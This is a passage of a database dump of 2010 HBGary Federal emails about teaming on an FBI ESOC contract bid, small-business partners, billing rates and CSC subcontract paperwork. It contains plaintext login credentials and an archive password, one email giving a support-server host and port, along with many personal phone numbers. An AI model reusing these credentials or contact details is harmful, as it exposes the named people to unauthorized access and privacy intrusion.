<Michelle.Lemke@gd-ais.com>','FBI ESOC Teaming','\r\n\r\n\r\n\r\n\r\nRE: small business\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI&#8217;d like to introduce you to our capture manager for this effort,\r\nMichelle Lemke.\r\n\r\nWe&#8217;re still strategizing our sub and team mates and she&#8217;ll want\r\nto talk with you.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s here contact info:\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\nSent: Monday, May 17, 2010 6:52 PM\r\nTo: Aaron Barr\r\nSubject: FW: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, \r\n\r\nDo you have anything like the&nbsp; attached products for HBGary\r\n?\r\n\r\nWe&#8217;re trying to form our small business plan in real time and\r\nwant the best team mates &#8211; if interested.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lemke, Michelle R. \r\nSent: Monday, May 17, 2010 5:27 PM\r\nTo: Harlow, Douglas M.\r\nSubject: FW: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBounce this against your small business.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bill Lillard\r\n[mailto:blillard@emesec.net] \r\nSent: Monday, May 17, 2010 4:57 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Grayson &quot;Barney&quot; Koogle; Maria Horton\r\nSubject: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle.&nbsp; Here are the documents we spoke of\r\nearlier.&nbsp; Please let me know if we can be of help to your effort.&nbsp;\r\nR/Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Horton \r\nSent: Monday, May 17, 2010 4:34 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Bill Lillard; Grayson &quot;Barney&quot; Koogle\r\nSubject: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle, \r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n&nbsp;\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.&nbsp; It looks like a bid/last minute need. \r\n\r\nPlease provide some information on how we might help. \r\n\r\n&nbsp;\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note. \r\n\r\nMaria Horton\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\nDirect: 703.956.3037\r\n\r\nCell:&nbsp;&nbsp;&nbsp;&nbsp; 703.969.2382\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com] \r\nSent: Monday, May 17, 2010 2:35 PM\r\nTo: Lemke, Michelle R.; Maria Horton\r\nSubject: RE: small business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle-here&#8217;s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business\r\nEmeSec Incorporated :: 1818 Library\r\nStreet, Suite 500, Reston, Virginia 20190 :: 703.956.3036 \r\n\r\n&nbsp;\r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948 \r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Monday, May 17, 2010 2:06 PM\r\nTo: Finn, Rick L.\r\nSubject: small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned&#8230;.if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8782,'aaron_hbgary_com/8782.html'),(6415,'2010-05-18','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297004608.M212548P14101Q1270.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: In design','sftpOn Mon, May 17, 2010 at 4:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nChark,Is that ftp, sftp?AaronOn May 17, 2010, at 2:27 PM, Charles Copeland wrote:\r\nHello Aaron, Greg asked me to set you up a account on the support box.  Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com port 59022  let me know if you have any questions.\r\n\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don&#39;t think i have access to that?  If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n \r\nRich, Aaron,\r\n \r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n \r\ncan all be found in &#39;ReportTemplatesForBoyz.rar&#39; in Rich&#39;s home dir on support.  PW is meatflower.\r\n \r\nThere are some additional files for you in this rar:\r\n \r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ&#39;s report.  You want these so you can make your own pie charts as needed.\r\n \r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report.  I have thesoftware and 30 day trial license.\r\n\r\n\r\nAaron From my iPhone\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',16372,'aaron_hbgary_com/16372.html'),(6416,'2010-05-18','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','/aaron@hbgary.com/new/1297004608.M470535P14101Q1271.eml','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: FBI ESOC Teaming','\r\n\r\n\r\n\r\n\r\nRE: small business\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI Aaron, can you call me? I&#8217;d like to talk to you about your company.\r\n\r\n\r\n&nbsp;\r\n\r\nThanks, Michelle\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\nSent: Monday, May 17, 2010 8:32 PM\r\nTo: \'Aaron Barr\'; Lemke, Michelle R.\r\nSubject: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\nI&#8217;d like to introduce you to our capture manager for this\r\neffort, Michelle Lemke.\r\n\r\nWe&#8217;re still strategizing our sub and team mates and she&#8217;ll want\r\nto talk with you.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s here contact info:\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harlow, Douglas M. \r\nSent: Monday, May 17, 2010 6:52 PM\r\nTo: Aaron Barr\r\nSubject: FW: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, \r\n\r\nDo you have anything like the&nbsp; attached products for HBGary\r\n?\r\n\r\nWe&#8217;re trying to form our small business plan in real time and\r\nwant the best team mates &#8211; if interested.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lemke, Michelle R. \r\nSent: Monday, May 17, 2010 5:27 PM\r\nTo: Harlow, Douglas M.\r\nSubject: FW: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBounce this against your small business.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bill Lillard\r\n[mailto:blillard@emesec.net] \r\nSent: Monday, May 17, 2010 4:57 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Grayson &quot;Barney&quot; Koogle; Maria Horton\r\nSubject: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle.&nbsp; Here are the documents we spoke of\r\nearlier.&nbsp; Please let me know if we can be of help to your effort.&nbsp;\r\nR/Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Horton \r\nSent: Monday, May 17, 2010 4:34 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Bill Lillard; Grayson &quot;Barney&quot; Koogle\r\nSubject: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle, \r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n&nbsp;\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.&nbsp; It looks like a bid/last minute need. \r\n\r\nPlease provide some information on how we might help. \r\n\r\n&nbsp;\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note. \r\n\r\nMaria Horton\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\nDirect: 703.956.3037\r\n\r\nCell:&nbsp;&nbsp;&nbsp;&nbsp; 703.969.2382\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com] \r\nSent: Monday, May 17, 2010 2:35 PM\r\nTo: Lemke, Michelle R.; Maria Horton\r\nSubject: RE: small business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle-here&#8217;s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business\r\nEmeSec Incorporated :: 1818\r\nLibrary Street, Suite 500, Reston, Virginia 20190 :: 703.956.3036 \r\n\r\n&nbsp;\r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948 \r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Monday, May 17, 2010 2:06 PM\r\nTo: Finn, Rick L.\r\nSubject: small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned&#8230;.if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11747,'aaron_hbgary_com/11747.html'),(6417,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004613.M746681P14101Q1272.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: RFP','I am talking with the capture manager tomorrow around 930am.  The submission date is 28May.  Start on 1 Oct., so prob. award in August.  She wants to talk rates, capabilities, where we think we fit.  She knows nothing about us, so she will be pleasantly surprised tomorrow.  Our blended rate is $175?  Can you send me something brief on our rates.  She is really pressing on being competitive, talking about an initial couple of positions on the contract.  I will push for 3-4, but may end up with 2.\r\n\r\nObviously we are great fits for Task3, and 5.  We can certainly do 2, 4, 6.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Harlow, Douglas M.\" \r\n> Date: May 17, 2010 4:13:51 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: RFP\r\n> \r\n> >\r\n> \r\n> Doug Harlow\r\n> \r\n> General Dynamics AIS\r\n> \r\n> 10560 Arrowhead Dr\r\n> \r\n> Fairfax, VA 22030\r\n> \r\n> Office: 703-277-1406\r\n> \r\n> Mobile: 703-835-7243\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3194,'aaron_hbgary_com/3194.html'),(6418,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004619.M943691P14101Q1273.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: RFP','GD-AIS (a different part) is bringing us on for teaming for the FBI SOC RFP attached.  Its a services based contract, requires TS/SCI CI Poly clearances.  They are talking a few positions to start if they win, award will be in August.  More details tomorrow.  Task 3 and 5 are our sweet spot but we can do 2, 4, 6 as well.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Harlow, Douglas M.\" \r\n> Date: May 17, 2010 4:13:51 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: RFP\r\n> \r\n> >\r\n> \r\n> Doug Harlow\r\n> \r\n> General Dynamics AIS\r\n> \r\n> 10560 Arrowhead Dr\r\n> \r\n> Fairfax, VA 22030\r\n> \r\n> Office: 703-277-1406\r\n> \r\n> Mobile: 703-835-7243\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15906,'aaron_hbgary_com/15906.html'),(6419,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004620.M809555P14101Q1274.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','CTSC/VISE','Scott,\r\n\r\nWe are teamed with CSC for the VISE re-compete.  I had these contracts a bit messed up in my head; NANA, CTSC, VISE.  I hope your conversations go well with CSC.  I\'ll see you on the 25th.\r\n\r\nAaron',9128,'aaron_hbgary_com/9128.html'),(6420,'2010-05-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004621.M376625P14101Q1276.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: RFP','I\'ll read through it.  Competitive in my mind equals $80-100 per hour.\r\n\r\nTed\r\n\r\n\r\nOn 5/17/10 7:58 PM, Aaron Barr wrote:\r\n> I am talking with the capture manager tomorrow around 930am. The submission date \r\n> is 28May. Start on 1 Oct., so prob. award in August. She wants to talk rates, \r\n> capabilities, where we think we fit. She knows nothing about us, so she will be \r\n> pleasantly surprised tomorrow. Our blended rate is $175? Can you send me \r\n> something brief on our rates. She is really pressing on being competitive, \r\n> talking about an initial couple of positions on the contract. I will push for \r\n> 3-4, but may end up with 2.\r\n> \r\n> Obviously we are great fits for Task3, and 5. We can certainly do 2, 4, 6.\r\n> \r\n> Thoughts?\r\n> \r\n> Aaron\r\n> \r\n> Begin forwarded message:\r\n> \r\n>> *From: *\"Harlow, Douglas M.\" > >\r\n>> *Date: *May 17, 2010 4:13:51 PM EDT\r\n>> *To: *\"Aaron Barr\" >\r\n>> *Subject: **RFP*\r\n>>\r\n>> >\r\n>>\r\n>> Doug Harlow\r\n>>\r\n>> General Dynamics AIS\r\n>>\r\n>> 10560 Arrowhead Dr\r\n>>\r\n>> Fairfax, VA 22030\r\n>>\r\n>> Office: 703-277-1406\r\n>>\r\n>> Mobile: 703-835-7243\r\n>>\r\n>>\r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',3204,'aaron_hbgary_com/3204.html'),(6421,'2010-05-18','\"Gregory Tubbs\" <tgreg1982@gmail.com>','/aaron@hbgary.com/new/1297004621.M54302P14101Q1275.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,,,,,,,,,,,,,','Re: RE: Open Source Center briefing','I am out of country...back to work on 21st...please sign me up and send details.\r\nOn May 17, 2010 10:48 AM, &quot;Lachow, Irving Mr OSD ATL&quot; &lt;Irving.Lachow@osd.mil&gt; wrote:Thanks Harry.  All are welcome.\r\n-----Original Message-----From: Looney, Harry, CTR, OSD-ATL Sent: Monday, May 17, 2010 1:57 PMTo...Cc: Bishop, Gregory H CIV, NII/DoD-CIO; &#39;marksc141@aol.com&#39;; &#39;Greg Tubbs\r\n\r\n(tgreg1982@gmail.com)&#39;; Phillips, Benjamin D CTR OSD ATL; Phillips, Benjamin\r\n[Ctr]; McCausland, Stacee D CTR OSD ATL; Wickard, Matthew R CTR OSD ATL;\r\nPeterman, Daniel R CTR OSD ATL\r\nSubject: RE: Open Source Center briefing\r\nIrv,I am open all day.  Suggest you invite Greg Bishop (all on the cc line),Mark Race, Ben Phill...\r\n',8421,'aaron_hbgary_com/8421.html'),(6422,'2010-05-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004621.M701230P14101Q1277.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: RFP','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nQuestion for you, do we find out who is awarded the&nbsp; contract\r\nfrom DARPA prior to your meeting at the end of June?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 17, 2010 7:01 PM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Fwd: RFP\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGD-AIS (a different part) is bringing us on for teaming for\r\nthe FBI SOC RFP attached. &nbsp;Its a services based contract, requires TS/SCI\r\nCI Poly clearances. &nbsp;They are talking a few positions to start if they\r\nwin, award will be in August. &nbsp;More details tomorrow. &nbsp;Task 3 and 5\r\nare our sweet spot but we can do 2, 4, 6 as well.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Harlow,\r\nDouglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMay\r\n17, 2010 4:13:51 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRFP\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;&lt;IAS_ESOC_RFP_Package.pdf&gt;&gt;\r\n\r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13423,'aaron_hbgary_com/13423.html'),(6423,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004621.M921227P14101Q1278.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: RFP','Yes.  We will find out in the next week or two.Sent from my iPadOn May 17, 2010, at 10:56 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nQuestion for you, do we find out who is awarded the  contract\r\nfrom DARPA prior to your meeting at the end of June?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 17, 2010 7:01 PM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Fwd: RFP\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGD-AIS (a different part) is bringing us on for teaming for\r\nthe FBI SOC RFP attached.  Its a services based contract, requires TS/SCI\r\nCI Poly clearances.  They are talking a few positions to start if they\r\nwin, award will be in August.  More details tomorrow.  Task 3 and 5\r\nare our sweet spot but we can do 2, 4, 6 as well.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Harlow,\r\nDouglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMay\r\n17, 2010 4:13:51 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRFP\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n&lt;&lt;IAS_ESOC_RFP_Package.pdf&gt;&gt;\r\n\r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9908,'aaron_hbgary_com/9908.html'),(6424,'2010-05-18','\"Dropbox\" <no-reply@dropbox.com>','/aaron@hbgary.com/new/1297004622.M178122P14101Q1279.eml','aaron@hbgary.com','Welcome to Dropbox!','\r\n    \r\n        \r\n         \r\n         \r\n    \r\n    \r\n        \r\n        \r\n            \r\n                \r\n                    \r\n                \r\n            \r\n        \r\n         \r\n    \r\n    \r\n    \r\n        \r\n            \r\n                \r\n                    \r\n                        \r\nHi Aaron,\r\nThanks for joining Dropbox from our iPad app! Here\'s how to get the most out of your Dropbox:\r\n \r\n  \r\n   \r\n  Download and install the Dropbox desktop app \r\n \r\n  \r\n  \r\n   \r\n  Put files in your computer\'s Dropbox folderThese files will sync up online and with your iPad too! \r\n  \r\n  \r\n   \r\n  Upload photos using the iPad app \r\nThey\'ll automatically sync to any computers you\'ve installed Dropbox on. \r\n   \r\n \r\n\r\nTo learn more, you can watch a video located under Settings in the Dropbox iPad app.\r\nWelcome to Dropbox!\r\n- The Dropbox Team\r\nP.S. Follow us on Twitter or Facebook!\r\n                        \r\n                    \r\n                \r\n            \r\n        \r\n    \r\n    \r\n    \r\n        \r\n         \r\n         \r\n    \r\n    \r\n    \r\n        \r\n        \r\n            \r\n            &copy; 2010 Dropbox\r\n        \r\n        \r\n    \r\n',4915,'aaron_hbgary_com/4915.html'),(6425,'2010-05-18','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004622.M435517P14101Q1280.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: CTSC - Documents - HB Gray','\r\nGood Morning Aaron,\r\n\r\nThese documents look fine.\r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nEdna Robinson/USA/CSC@CSC\r\n\r\nDate:\r\n05/17/2010 06:54 PM\r\n\r\nSubject:\r\nRe: CTSC - Documents - HB Gray\r\n\r\n\r\n\r\n[attachment &quot;F225-1 Representations\r\n&amp; Certifications-5_0_20100517_1846.pdf&quot; deleted by Edna Robinson/USA/CSC]\r\n[attachment &quot;Subcontractor System Questionnaire 2009 08-5_0_20100517_1844.pdf&quot;\r\ndeleted by Edna Robinson/USA/CSC] [attachment &quot;Subcontractor System\r\nQuestionnaire 2009 08-5.xls&quot; deleted by Edna Robinson/USA/CSC] \r\n\r\nHow do these look?\r\n\r\nAaron\r\n\r\nOn May 17, 2010, at 3:47 PM, Edna Robinson wrote:\r\n\r\n\r\nAaron, \r\n\r\nYour response is appreciated. &nbsp;As discussed, the Reps and Sub Questionnaire\r\ndid not populate \r\nall of the responses. &nbsp;Please take a look and let me know if you have\r\nquestions let me know. \r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n05/17/2010 03:02 PM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC - Documents - HB Gray\r\n\r\n\r\n\r\n\r\n\r\nA bit more delayed. \r\n\r\nHere you go. \r\n\r\nAaron \r\n\r\nOn May 12, 2010, at 5:19 PM, Edna Robinson wrote: \r\n\r\n\r\nGood Afternoon Aaron, \r\n\r\nAs of today I have not received a response regarding the CTSC MOU or additional\r\ndocuments required. \r\n\r\nPlease provide a status. \r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\nFrom:\r\n\r\nEdna Robinson/USA/CSC\r\n\r\n\r\nTo:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nCc:\r\n\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n05/04/2010 03:14 PM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC - Documents\r\n\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron, \r\n\r\nPer the discussions that CSC has had regarding the Cyber Technology Services\r\nContract (CTSC) opportunity, attached is a “Draft Memorandum of Understanding”\r\nfor your review and response. &nbsp; We value the capabilities and\r\nservices that you bring and look forward to 